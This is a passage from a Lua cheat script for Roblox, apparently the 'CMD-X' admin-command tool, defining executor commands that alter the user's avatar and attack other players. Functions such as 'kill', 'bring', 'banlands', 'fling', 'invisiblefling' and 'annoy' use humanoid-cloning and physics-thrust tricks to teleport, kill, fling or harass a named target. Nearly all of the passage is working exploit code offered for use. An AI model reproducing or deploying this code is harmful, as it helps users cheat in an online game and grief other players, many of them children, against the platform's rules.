4253 cmdlp.Character["Right Arm"]:Destroy()
4254 end
4255end
4256
4257function useCommand.removearms()
4258 opx("-","Removed arms")
4259 if cmd15(cmdlp) then
4260 for i,v in pairs(cmdlp.Character:GetChildren()) do
4261 if v.Name == "RightUpperArm" or v.Name == "LeftUpperArm" then
4262 v:Destroy()
4263 end
4264 end
4265 else
4266 for i,v in pairs(cmdlp.Character:GetChildren()) do
4267 if v.Name == "Right Arm" or v.Name == "Left Arm" then
4268 v:Destroy()
4269 end
4270 end
4271 end
4272end
4273
4274function useCommand.removelegs()
4275 opx("-","Removed legs")
4276 if cmd15(cmdlp) then
4277 for i,v in pairs(cmdlp.Character:GetChildren()) do
4278 if v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" then
4279 v:Destroy()
4280 end
4281 end
4282 else
4283 for i,v in pairs(cmdlp.Character:GetChildren()) do
4284 if v.Name == "Right Leg" or v.Name == "Left Leg" then
4285 v:Destroy()
4286 end
4287 end
4288 end
4289end
4290
4291function useCommand.removelimbs()
4292 opx("-","Removed limbs")
4293 if cmd15(cmdlp) then
4294 for i,v in pairs(cmdlp.Character:GetChildren()) do
4295 if v.Name == "RightUpperArm" or v.Name == "LeftUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" then
4296 v:Destroy()
4297 end
4298 end
4299 else
4300 for i,v in pairs(cmdlp.Character:GetChildren()) do
4301 if v.Name == "Right Arm" or v.Name == "Left Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" then
4302 v:Destroy()
4303 end
4304 end
4305 end
4306end
4307
4308function useCommand.removeanim()
4309 opx("-","Removed animation")
4310 cmdlp.Character.Animate.Disabled = true
4311end
4312
4313function useCommand.restoreanim()
4314 opx("-","Restored animation")
4315 cmdlp.Character.Animate.Disabled = false
4316end
4317
4318function useCommand.removeshirt()
4319 opx("-","You have removed your shirt")
4320 cmdlp.Character.Shirt:Destroy()
4321end
4322
4323function useCommand.removetshirt()
4324 opx("-","You have removed your t-shirt")
4325 cmdlp.Character["Shirt Graphic"]:Destroy()
4326end
4327
4328function useCommand.removepants()
4329 opx("-","You have removed your pants")
4330 cmdlp.Character.Pants:Destroy()
4331end
4332
4333function useCommand.removeclothes()
4334 opx("-","You are now naked on a kids game")
4335 for i,v in pairs(cmdlp.Character:GetChildren()) do
4336 if v.Name == "Shirt" or v.Name == "Shirt Graphic" or v.Name == "Pants" then
4337 v:Destroy()
4338 end
4339 end
4340end
4341
4342function useCommand.removehatsmesh()
4343 opx("-","Removed hats meshes")
4344 for _,v in pairs(cmdlp.Character:GetChildren()) do
4345 if v:IsA("Accessory") then
4346 for _,x in pairs(v:GetDescendants()) do
4347 if x.Name == "Mesh" or x.Name == "SpecialMesh" then
4348 x:Destroy()
4349 end
4350 end
4351 end
4352 end
4353end
4354
4355function useCommand.removegearmesh()
4356 opx("-","Removed gears meshes")
4357 for _,v in pairs(cmdlp.Character:GetChildren()) do
4358 if v:IsA("Tool") then
4359 for _,x in pairs(v:GetDescendants()) do
4360 if x.Name == "Mesh" or x.Name == "SpecialMesh" then
4361 x:Destroy()
4362 end
4363 end
4364 end
4365 end
4366end
4367
4368function useCommand.hatgear()
4369 opx("-","Hats are now in your toolbar")
4370 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
4371 if hat.Handle ~= nil then
4372 local tool = Instance.new("Tool", cmdlp.Backpack)
4373 tool.Name = hat.Name
4374 local hathandle = hat.Handle
4375 hathandle:FindFirstChildOfClass("Weld"):Destroy()
4376 hathandle.Parent = tool
4377 hathandle.Massless = true
4378 end
4379 end
4380end
4381
4382function useCommand.bring()
4383 if arguments[2] then
4384 target = findplr(arguments[2])
4385 if target then
4386 opx("-","Brung "..target.Name)
4387 NormPos = cmdlp.Character.HumanoidRootPart.CFrame
4388 local char = cmdlp.Character
4389 local tchar = target.Character
4390 local hum = cmdlp.Character.Humanoid
4391 local hrp = cmdlp.Character.HumanoidRootPart
4392 local hrp2 = target.Character.HumanoidRootPart
4393 local camera = workspace.CurrentCamera
4394 hum.Name = "1"
4395 local newHum = hum:Clone()
4396 newHum.Parent = char
4397 newHum.Name = "Humanoid"
4398 wait(0.1)
4399 hum:Destroy()
4400 camera.CameraSubject = char
4401 newHum.DisplayDistanceType = "None"
4402 wait(0.1)
4403 v = cmdlp.Backpack:FindFirstChildOfClass("Tool")
4404 v.Parent = char
4405 hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
4406 local n = 0
4407 repeat
4408 game.RunService.RenderStepped:Wait(0)
4409 n = n + 1
4410 hrp.CFrame = hrp2.CFrame
4411 wait(.1)
4412 hrp.CFrame = NormPos
4413 until (not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2
4414 hrp.CFrame = NormPos
4415 camera.CameraType = Enum.CameraType.Custom
4416 wait(4)
4417 cmdlp.Character.HumanoidRootPart.CFrame = NormPos
4418 else
4419 opx("*","Player does not exist!")
4420 end
4421 else
4422 opx("*","2 arguments are needed for this command!")
4423 end
4424end
4425
4426function useCommand.drophats()
4427 opx("-","Dropped your hats")
4428 for i,v in pairs(cmdlp.Character:GetChildren()) do
4429 if v:IsA("Accessory") then
4430 v.Parent = workspace
4431 end
4432 end
4433end
4434
4435function useCommand.dropgears()
4436 opx("-","Dropped your gears")
4437 for i,v in pairs(cmdlp.Character:GetChildren()) do
4438 if v:IsA("Tool") then
4439 v.Parent = workspace
4440 end
4441 end
4442end
4443
4444local hatSpam = false
4445function useCommand.hatspam()
4446 opx("-","Now spamming hats")
4447 hatSpam = true
4448 while hatSpam == true do
4449 refresh()
4450 wait(1)
4451 for _,v in pairs(cmdlp.Character:GetChildren()) do
4452 if v:IsA("Accessory") then
4453 for _,x in pairs(v:GetDescendants()) do
4454 if x.Name == "Mesh" or x.Name == "SpecialMesh" then
4455 x:Destroy()
4456 end
4457 end
4458 end
4459 end
4460 wait(1)
4461 for i,v in pairs(cmdlp.Character:GetChildren()) do
4462 if v:IsA("Accessory") then
4463 v.Parent = workspace
4464 end
4465 end
4466 wait(1)
4467 end
4468end
4469
4470function useCommand.unhatspam()
4471 opx("-","Stopped spamming hats")
4472 hatSpam = false
4473end
4474
4475function useCommand.removeface()
4476 opx("-","Removed face")
4477 cmdlp.Character.Head.face:Destroy()
4478end
4479
4480function useCommand.removehats()
4481 opx("-","Removed hats")
4482 for i,v in pairs(cmdlp.Character:GetChildren()) do
4483 if v:IsA("Accessory") then
4484 v:Destroy()
4485 end
4486 end
4487end
4488
4489function useCommand.rheadmesh()
4490 opx("-","Removed head mesh")
4491 cmdlp.Character.Head.Mesh:Destroy()
4492end
4493
4494function useCommand.equip()
4495 opx("-","Equipped all gears")
4496 for _,v in pairs(cmdlp.Backpack:GetChildren()) do
4497 v.Parent = cmdlp.Character
4498 end
4499end
4500
4501function useCommand.give()
4502 if arguments[2] then
4503 target = findplr(arguments[2])
4504 if target then
4505 newTool = cmdlp.Character:FindFirstChildOfClass("Tool")
4506 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame + target.Character.HumanoidRootPart.CFrame.lookVector * -7
4507 wait(1)
4508 newTool.Parent = workspace
4509 opx("-","Gave tool to "..target.Name)
4510 else
4511 opx("*","Player does not exist!")
4512 end
4513 else
4514 opx("*","2 arguments are needed for this command!")
4515 end
4516end
4517
4518function useCommand.using()
4519 opx("-","Said script <3")
4520 game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("I am using CMD-X, Version: "..ver, "All")
4521end
4522
4523function useCommand.banlands()
4524 if arguments[2] then
4525 target = findplr(arguments[2])
4526 if target then
4527 opx("-","Banished "..target.Name.." to the banlands")
4528 local char = cmdlp.Character
4529 local tchar = target.Character
4530 local hum = cmdlp.Character.Humanoid
4531 local hrp = cmdlp.Character.HumanoidRootPart
4532 local hrp2 = target.Character.HumanoidRootPart
4533 local camera = workspace.CurrentCamera
4534 hum.Name = "1"
4535 local newHum = hum:Clone()
4536 newHum.Parent = char
4537 newHum.Name = "Humanoid"
4538 wait(0.1)
4539 hum:Destroy()
4540 camera.CameraSubject = char
4541 newHum.DisplayDistanceType = "None"
4542 wait(0.1)
4543 v = cmdlp.Backpack:FindFirstChildOfClass("Tool")
4544 v.Parent = char
4545 hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
4546 local n = 0
4547 repeat
4548 game.RunService.RenderStepped:Wait(0)
4549 n = n + 1
4550 hrp.CFrame = hrp2.CFrame
4551 wait(.1)
4552 hrp.CFrame = CFrame.new(0,1000000,0)
4553 until (not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2
4554 hrp.CFrame = CFrame.new(0,1000000,0)
4555 camera.CameraType = Enum.CameraType.Custom
4556 else
4557 opx("*","Player does not exist!")
4558 end
4559 else
4560 opx("*","2 arguments are needed for this command!")
4561 end
4562end
4563
4564function useCommand.kill()
4565 if arguments[2] then
4566 target = findplr(arguments[2])
4567 if target then
4568 opx("-","Killed "..target.Name)
4569 local char = cmdlp.Character
4570 local tchar = target.Character
4571 local hum = cmdlp.Character.Humanoid
4572 local hrp = cmdlp.Character.HumanoidRootPart
4573 local hrp2 = target.Character.HumanoidRootPart
4574 local camera = workspace.CurrentCamera
4575 hum.Name = "1"
4576 local newHum = hum:Clone()
4577 newHum.Parent = char
4578 newHum.Name = "Humanoid"
4579 wait(0.1)
4580 hum:Destroy()
4581 camera.CameraSubject = char
4582 newHum.DisplayDistanceType = "None"
4583 wait(0.1)
4584 v = cmdlp.Backpack:FindFirstChildOfClass("Tool")
4585 v.Parent = char
4586 hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
4587 local n = 0
4588 repeat
4589 game.RunService.RenderStepped:Wait(0)
4590 n = n + 1
4591 hrp.CFrame = hrp2.CFrame
4592 wait(.1)
4593 hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
4594 until (not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or n > 250) and n > 2
4595 hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
4596 camera.CameraType = Enum.CameraType.Custom
4597 else
4598 opx("*","Player does not exist!")
4599 end
4600 else
4601 opx("*","2 arguments are needed for this command!")
4602 end
4603end
4604
4605local Flipping = false
4606function useCommand.flip()
4607 opx("-","Now flipping")
4608 Flipping = true
4609 pl=game.Players.LocalPlayer
4610 me=pl.Character
4611 xl=me.Torso['Right Shoulder']
4612 local debounce=false
4613 function _restoreproperties()
4614 Holder = player.Character
4615 Torso = Holder:FindFirstChild("Torso")
4616 RightS = Torso:FindFirstChild("Right Shoulder")
4617 LeftS = Torso:FindFirstChild("Left Shoulder")
4618 RightH = Torso:FindFirstChild("Right Hip")
4619 LeftH = Torso:FindFirstChild("Left Hip")
4620 RightS.MaxVelocity = .15
4621 LeftS.MaxVelocity = .15
4622 RightH.MaxVelocity = .1
4623 LeftH.MaxVelocity = .1
4624 RightS.DesiredAngle = 0
4625 LeftS.DesiredAngle = 0
4626 LeftH.DesiredAngle = 0
4627 RightH.DesiredAngle = 0
4628 end
4629 function ManageAnimation(value)
4630 Holder = player.Character
4631 Player = player
4632 if value == "no anim" then
4633 Anim = Holder:FindFirstChild("Animate")
4634 if Anim~=nil then
4635 Anim.Disabled = true
4636 Anim.Parent = Player
4637 end
4638 elseif value == "re-anim" then
4639 Anim = Player:FindFirstChild("Animate")
4640 if Anim~=nil then
4641 Anim.Disabled = false
4642 Anim.Parent = Holder
4643 end
4644 end
4645 end
4646 function Down(ml)
4647 for i=1, ml.velocity.y/3 do
4648 ml.velocity = ml.velocity+Vector3.new(0,-4.25,0)
4649 wait()
4650 end
4651 ml:Remove()
4652 end
4653 function Flip2()
4654 if debounce==true then return end
4655 debounce=true
4656 Char = player.Character
4657 Human = Char.Humanoid
4658 Torso = Char.Torso
4659 CF = Torso.CFrame
4660 Human.PlatformStand = true
4661 VelUp = Instance.new("BodyVelocity")
4662 VelUp.velocity = Vector3.new(0,60,0)+Torso.CFrame.lookVector*26
4663 VelUp.P = VelUp.P*2
4664 VelUp.maxForce = Vector3.new(10000,10000,10000)*999
4665 VelUp.Parent = Torso
4666 coroutine.resume(coroutine.create(Down),VelUp)
4667 Gyro = Instance.new("BodyGyro")
4668 Gyro.P = Gyro.P*10
4669 Gyro.maxTorque = Vector3.new(100000,100000,100000)*999
4670 Gyro.cframe = CF
4671 Gyro.Parent = Torso
4672 for i=2, 28 do
4673 Gyro.cframe = Gyro.cframe*CFrame.fromEulerAnglesXYZ(math.pi/-16,0,0)
4674 wait()
4675 end
4676 Gyro.cframe = CF
4677 wait()
4678 Gyro:Remove()
4679 Human.PlatformStand = false
4680 _restoreproperties()
4681 debounce=false
4682 end
4683 while Flipping == true do
4684 wait()
4685 Flip2()
4686 end
4687end
4688
4689function useCommand.unflip()
4690 Flipping = false
4691 opx("-","No longer flipping")
4692end
4693
4694local doubleFlipping = false
4695function useCommand.doubleflip()
4696 opx("-","Now double flipping")
4697 doubleFlipping = true
4698 pl=game.Players.LocalPlayer
4699 me=pl.Character
4700 xl=me.Torso['Right Shoulder']
4701 local debounce=false
4702 function _restoreproperties()
4703 Holder = player.Character
4704 Torso = Holder:FindFirstChild("Torso")
4705 RightS = Torso:FindFirstChild("Right Shoulder")
4706 LeftS = Torso:FindFirstChild("Left Shoulder")
4707 RightH = Torso:FindFirstChild("Right Hip")
4708 LeftH = Torso:FindFirstChild("Left Hip")
4709 RightS.MaxVelocity = .15
4710 LeftS.MaxVelocity = .15
4711 RightH.MaxVelocity = .1
4712 LeftH.MaxVelocity = .1
4713 RightS.DesiredAngle = 0
4714 LeftS.DesiredAngle = 0
4715 LeftH.DesiredAngle = 0
4716 RightH.DesiredAngle = 0
4717 end
4718 function ManageAnimation(value)
4719 Holder = player.Character
4720 Player = player
4721 if value == "no anim" then
4722 Anim = Holder:FindFirstChild("Animate")
4723 if Anim~=nil then
4724 Anim.Disabled = true
4725 Anim.Parent = Player
4726 end
4727 elseif value == "re-anim" then
4728 Anim = Player:FindFirstChild("Animate")
4729 if Anim~=nil then
4730 Anim.Disabled = false
4731 Anim.Parent = Holder
4732 end
4733 end
4734 end
4735 function Down(ml)
4736 for i=1, ml.velocity.y/3 do
4737 ml.velocity = ml.velocity+Vector3.new(0,-4.25,0)
4738 wait()
4739 end
4740 ml:Remove()
4741 end
4742 function Flip3()
4743 if debounce==true then return end
4744 debounce=true
4745 Char = player.Character
4746 Human = Char.Humanoid
4747 Torso = Char.Torso
4748 CF = Torso.CFrame
4749 Human.PlatformStand = true
4750 VelUp = Instance.new("BodyVelocity")
4751 VelUp.velocity = Vector3.new(0,60,0)+Torso.CFrame.lookVector*26
4752 VelUp.P = VelUp.P*2
4753 VelUp.maxForce = Vector3.new(10000,10000,10000)*999
4754 VelUp.Parent = Torso
4755 coroutine.resume(coroutine.create(Down),VelUp)
4756 Gyro = Instance.new("BodyGyro")
4757 Gyro.P = Gyro.P*10
4758 Gyro.maxTorque = Vector3.new(100000,100000,100000)*999
4759 Gyro.cframe = CF
4760 Gyro.Parent = Torso
4761 for i=2, 28 do
4762 Gyro.cframe = Gyro.cframe*CFrame.fromEulerAnglesXYZ(math.pi/-8,0,0)
4763 wait()
4764 end
4765 Gyro.cframe = CF
4766 wait()
4767 Gyro:Remove()
4768 Human.PlatformStand = false
4769 _restoreproperties()
4770 debounce=false
4771 end
4772 while doubleFlipping == true do
4773 wait()
4774 Flip3()
4775 end
4776end
4777
4778function useCommand.undoubleflip()
4779 doubleFlipping = false
4780 opx("-","No longer double flipping")
4781end
4782
4783local stick = false
4784function useCommand.glue()
4785 if arguments[2] then
4786 target = findplr(arguments[2])
4787 if target then
4788 stick = true
4789 opx("-","Now glued to "..target.Name)
4790 repeat wait()
4791 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.new(cmdlp.Character.HumanoidRootPart.CFrame.lookVector.X,target.Character.HumanoidRootPart.Size.Y,cmdlp.Character.HumanoidRootPart.CFrame.lookVector.Z)
4792 until stick == false
4793 else
4794 opx("*","Player does not exist!")
4795 end
4796 else
4797 opx("*","2 arguments are needed for this command!")
4798 end
4799end
4800
4801function useCommand.unglue()
4802 stick = false
4803 opx("-","No longer glued")
4804end
4805
4806function useCommand.nugget()
4807 opx("-","Changed character into a nugget")
4808 if cmd15(cmdlp) then
4809 for i,v in pairs(cmdlp.Character:GetChildren()) do
4810 if v.Name == "RightUpperArm" or v.Name == "LeftUpperArm" or v.Name == "RightUpperLeg" or v.Name == "LeftUpperLeg" then
4811 v:Destroy()
4812 end
4813 end
4814 else
4815 for i,v in pairs(cmdlp.Character:GetChildren()) do
4816 if v.Name == "Right Arm" or v.Name == "Left Arm" or v.Name == "Right Leg" or v.Name == "Left Leg" then
4817 v:Destroy()
4818 end
4819 end
4820 end
4821 cmdlp.Character.Head.Mesh:Destroy()
4822end
4823
4824local cwFlipping = false
4825function useCommand.cartwheel()
4826 opx("-","Now cartwheeling")
4827 cwFlipping = true
4828 function _restoreproperties()
4829 Torso = cmdlp.Character:FindFirstChild("Torso")
4830 RightS = Torso:FindFirstChild("Right Shoulder")
4831 LeftS = Torso:FindFirstChild("Left Shoulder")
4832 RightH = Torso:FindFirstChild("Right Hip")
4833 LeftH = Torso:FindFirstChild("Left Hip")
4834 RightS.MaxVelocity = .15
4835 LeftS.MaxVelocity = .15
4836 RightH.MaxVelocity = .1
4837 LeftH.MaxVelocity = .1
4838 RightS.DesiredAngle = 0
4839 LeftS.DesiredAngle = 0
4840 LeftH.DesiredAngle = 0
4841 RightH.DesiredAngle = 0
4842 end
4843 function Down(ml)
4844 for i = 1,ml.velocity.y/3 do
4845 ml.velocity = ml.velocity + Vector3.new(0,-4.25,0)
4846 wait()
4847 end
4848 ml:Remove()
4849 end
4850 function Flip()
4851 if debounce == true then return end
4852 debounce = true
4853 local Gyro = Instance.new("BodyGyro")
4854 Gyro.P = Gyro.P*10
4855 Gyro.maxTorque = Vector3.new(100000,100000,100000)*999
4856 Gyro.CFrame = cmdlp.Character.Torso.CFrame
4857 Gyro.Parent = cmdlp.Character.Torso
4858 for i=0, 50 do
4859 Gyro.CFrame = Gyro.CFrame*CFrame.fromEulerAnglesXYZ(math.pi/-29,0,0)
4860 wait()
4861 end
4862 Gyro.CFrame = cmdlp.Character.Torso.CFrame
4863 wait()
4864 Gyro:Remove()
4865 cmdlp.Character.Humanoid.PlatformStand = false
4866 _restoreproperties()
4867 debounce = false
4868 end
4869 while cwFlipping == true do
4870 wait()
4871 Flip()
4872 end
4873end
4874
4875function useCommand.uncartwheel()
4876 cwFlipping = false
4877 opx("-","No longer cartwheeling")
4878end
4879
4880local seizureFlipping = false
4881function useCommand.seizure()
4882 opx("-","Now seizuring")
4883 seizureFlipping = true
4884 function _restoreproperties()
4885 Torso = cmdlp.Character:FindFirstChild("Torso")
4886 RightS = Torso:FindFirstChild("Right Shoulder")
4887 LeftS = Torso:FindFirstChild("Left Shoulder")
4888 RightH = Torso:FindFirstChild("Right Hip")
4889 LeftH = Torso:FindFirstChild("Left Hip")
4890 RightS.MaxVelocity = .15
4891 LeftS.MaxVelocity = .15
4892 RightH.MaxVelocity = .1
4893 LeftH.MaxVelocity = .1
4894 RightS.DesiredAngle = 0
4895 LeftS.DesiredAngle = 0
4896 LeftH.DesiredAngle = 0
4897 RightH.DesiredAngle = 0
4898 end
4899 function Down(ml)
4900 for i = 1,ml.velocity.y/3 do
4901 ml.velocity = ml.velocity + Vector3.new(0,-4.25,0)
4902 wait()
4903 end
4904 ml:Remove()
4905 end
4906 function Flip4()
4907 if debounce == true then return end
4908 debounce = true
4909 cmdlp.Character.Humanoid.PlatformStand = true
4910 local VelUp = Instance.new("BodyVelocity")
4911 VelUp.maxForce = Vector3.new(10000,10000,10000)*999
4912 VelUp.Parent = cmdlp.Character.Torso
4913 coroutine.resume(coroutine.create(Down),VelUp)
4914 local Gyro = Instance.new("BodyGyro")
4915 Gyro.P = Gyro.P*10
4916 Gyro.CFrame = cmdlp.Character.Torso.CFrame
4917 Gyro.Parent = cmdlp.Character.Torso
4918 for i=1, 16 do
4919 Gyro.CFrame = Gyro.CFrame*CFrame.fromEulerAnglesXYZ(math.pi/9,math.pi/-18,0)
4920 wait()
4921 end
4922 Gyro.CFrame = cmdlp.Character.Torso.CFrame
4923 wait()
4924 Gyro:Remove()
4925 cmdlp.Character.Humanoid.PlatformStand = false
4926 _restoreproperties()
4927 debounce = false
4928 end
4929 while seizureFlipping == true do
4930 wait()
4931 Flip4()
4932 end
4933end
4934
4935function useCommand.unseizure()
4936 seizureFlipping = false
4937 opx("-","No longer seizuring")
4938end
4939
4940function useCommand.fling()
4941 if arguments[2] then
4942 target = findplr(arguments[2])
4943 if target then
4944 noclip()
4945 PF = 99
4946 PF = PF*10
4947 local BT = Instance.new("BodyThrust")
4948 cmdhrp = cmdlp.Character.HumanoidRootPart
4949 BT.Parent = cmdhrp
4950 BT.Force = Vector3.new(PF, 0, PF)
4951 BT.Location = cmdhrp.Position
4952 for i,player in pairs(cmdc:GetChildren()) do
4953 if player.ClassName == "Part" then
4954 player.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
4955 end
4956 end
4957 cmdhrp.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0, math.rad(0), 0) * CFrame.new(0, 0, 0)
4958 wait(1)
4959 for i,player in pairs(cmdlp.Character:GetChildren()) do
4960 if player.ClassName == "Part" then
4961 player.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
4962 end
4963 end
4964 if Noclipping then
4965 Noclipping:Disconnect()
4966 end
4967 Clip = true
4968 cmdlp.Character.HumanoidRootPart.BodyThrust:Destroy()
4969 cmdlp.Character.Humanoid.PlatformStand = true
4970 cmdlp.Character.Humanoid.Sit = true
4971 wait(0.1)
4972 cmdlp.Character.Humanoid.Jump = true
4973 opx("-","Flung "..target.Name)
4974 else
4975 opx("*","Player does not exist!")
4976 end
4977 else
4978 opx("*","2 arguments are needed for this command!")
4979 end
4980end
4981
4982function useCommand.invisiblefling()
4983 opx("-","Now Invisible Flinging use refresh to stop")
4984 local ch = game.Players.LocalPlayer.Character
4985 local prt=Instance.new("Model", game.Players.LocalPlayer.Character)
4986 local z1 = Instance.new("Part")
4987 z1.Name="Torso"
4988 z1.CanCollide = false
4989 z1.Anchored = true
4990 local z2 = Instance.new("Part", prt)
4991 z2.Name="Head"
4992 z2.Anchored = true
4993 z2.CanCollide = false
4994 local z3 =Instance.new("Humanoid", prt)
4995 z3.Name="Humanoid"
4996 z1.Position = Vector3.new(0,9999,0)
4997 game.Players.LocalPlayer.Character=prt
4998 wait(3)
4999 game.Players.LocalPlayer.Character=ch
5000 wait(3)
5001 local plr = game.Players.LocalPlayer
5002 cmdm = plr:GetMouse()
5003 local Hum = Instance.new("Humanoid")
5004 z2:Clone()
5005 Hum.Parent = game.Players.LocalPlayer.Character
5006 local root = game.Players.LocalPlayer.Character.HumanoidRootPart
5007 for i,v in pairs(plr.Character:GetChildren()) do
5008 if v ~= root and v.Name ~= "Humanoid" then
5009 v:Destroy()
5010 end
5011 end
5012 root.Transparency = 0
5013 root.Material = "ForceField"
5014 root.Color = Color3.new(1, 1, 1)
5015 game:GetService('RunService').Stepped:connect(function()
5016 game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
5017 end)
5018 game:GetService('RunService').RenderStepped:connect(function()
5019 game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
5020 end)
5021 sFLY()
5022 workspace.CurrentCamera.CameraSubject = root
5023 PF = 99999
5024 PF = PF*10
5025 local bambam = Instance.new("BodyThrust")
5026 bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
5027 bambam.Force = Vector3.new(PF,0,PF)
5028 bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
5029end
5030
5031function useCommand.freefling()
5032 opx("-","Now freeflinging use unfling to stop")
5033 noclip()
5034 sFLY()
5035 workspace.CurrentCamera.CameraSubject = cmdlp.Character.HumanoidRootPart
5036 local BT = Instance.new("BodyThrust")
5037 BT.Parent = cmdlp.Character.HumanoidRootPart
5038 BT.Force = Vector3.new(999999, 999999, 999999)
5039 BT.Location = cmdlp.Character.HumanoidRootPart.Position
5040 for i,player in pairs(cmdlp.Character:GetChildren()) do
5041 if player.ClassName == "Part" then
5042 player.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
5043 end
5044 end
5045end
5046
5047function useCommand.unfling()
5048 opx("-","You are no longer flinging")
5049 for i,player in pairs(cmdlp.Character:GetChildren()) do
5050 if player.ClassName == "Part" then
5051 player.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
5052 end
5053 end
5054 if Noclipping then
5055 Noclipping:Disconnect()
5056 end
5057 Clip = true
5058 FLYING = false
5059 cmdlp.Character.HumanoidRootPart.BodyThrust:Destroy()
5060 cmdlp.Character.Humanoid.PlatformStand = true
5061 cmdlp.Character.Humanoid.Sit = true
5062 wait(0.1)
5063 cmdlp.Character.Humanoid.Jump = true
5064end
5065
5066function useCommand.cleanfling()
5067 opx("-","Now clean flinging")
5068 v = cmdlp.Character:FindFirstChildOfClass("Tool")
5069 v.Parent = cmdlp.Backpack
5070 v.Handle.Massless = true
5071 v.GripPos = Vector3.new(100000000000000,100000000000000,100000000000000)
5072 cmdlp.Character.HumanoidRootPart.CustomPhysicalProperties = PhysicalProperties.new(math.huge,math.huge,math.huge,math.huge,math.huge)
5073 v.Parent = cmdlp.Character
5074 noclip()
5075end
5076
5077local Lagging = false
5078function useCommand.lag()
5079 opx("-","Now lagging character")
5080 Lagging = true
5081 repeat wait()
5082 cmdlp.Character.HumanoidRootPart.Anchored = false
5083 wait(.1)
5084 cmdlp.Character.HumanoidRootPart.Anchored = true
5085 wait(.1)
5086 until Lagging == false
5087end
5088
5089function useCommand.unlag()
5090 Lagging = false
5091 opx("No longer lagging character")
5092 wait(.3)
5093 cmdlp.Character.HumanoidRootPart.Anchored = false
5094end
5095
5096local Annoy = false
5097function useCommand.annoy()
5098 if arguments[2] then
5099 target = findplr(arguments[2])
5100 if target then
5101 if target.Character and target.Character:FindFirstChild('Humanoid') then
5102 Annoy = true
5103 opx("-","Now annoying "..target.Name)
5104 while Annoy == true do
5105 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,0,0)
5106 wait()
5107 end
5108 end
5109 else
5110 opx("*","Player does not exist!")
5111 end
5112 else
5113 opx("*","2 arguments are needed for this command!")
5114 end
5115end
5116
5117function useCommand.unannoy()
5118 Annoy = false
5119 opx("-","No longer annoying")
5120end
5121
5122function useCommand.weaken()
5123 for i,player in pairs(cmdlp.Character:GetChildren()) do
5124 if player.ClassName == "Part" then
5125 player.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
5126 end
5127 end
5128 opx("-","You are now weak")
5129end
5130
5131function useCommand.strengthen()
5132 for i,player in pairs(cmdlp.Character:GetChildren()) do
5133 if player.ClassName == "Part" then
5134 player.CustomPhysicalProperties = PhysicalProperties.new(100, 0.3, 0.5)
5135 end
5136 end
5137 opx("-","You are now strong")
5138end
5139
5140function useCommand.unweak()
5141 for i,player in pairs(cmdlp.Character:GetChildren()) do
5142 if player.ClassName == "Part" then
5143 player.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
5144 end
5145 end
5146 opx("-","You are no longer weak/strong")
5147end
5148
5149function useCommand.sparkles()
5150 opx("-","If you had a Fairy it now makes a sparkles illusion")
5151 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
5152 if hat.Handle ~= nil then
5153 local tool = Instance.new("Tool", cmdlp.Backpack)
5154 tool.Name = hat.Name
5155 tool.GripPos = Vector3.new(1.5, 0, -1.5)
5156 local hathandle = hat.Handle
5157 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5158 hathandle.Parent = tool
5159 hathandle.Massless = true
5160 end
5161 end
5162end
5163
5164function useCommand.sword()
5165 opx("-","If you had a Sword on your back you are now holding it")
5166 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
5167 if hat.Handle ~= nil then
5168 local tool = Instance.new("Tool", cmdlp.Backpack)
5169 tool.Name = hat.Name
5170 tool.GripPos = Vector3.new(2, 2, 0)
5171 tool.GripRight = Vector3.new(9, 9, 9)
5172 tool.GripUp = Vector3.new(-9, -9, 0)
5173 local hathandle = hat.Handle
5174 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5175 hathandle.Parent = tool
5176 hathandle.Massless = true
5177 end
5178 end
5179 local Anim = Instance.new("Animation")
5180 Anim.AnimationId = "rbxassetid://28090109"
5181 local play = cmdlp.Character.Humanoid:LoadAnimation(Anim)
5182 while wait() do
5183 for i,v in pairs(cmdlp.Character:GetChildren()) do
5184 if v:IsA("Tool") then
5185 v.Equipped:Connect(function(Mouse)
5186 Mouse.Button1Down:Connect(function()
5187 play:Play()
5188 end)
5189 end)
5190 end
5191 end
5192 end
5193end
5194
5195function useCommand.scythe()
5196 opx("-","If you had a Scythe on your back you are now holding it")
5197 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
5198 if hat.Handle ~= nil then
5199 local tool = Instance.new("Tool", cmdlp.Backpack)
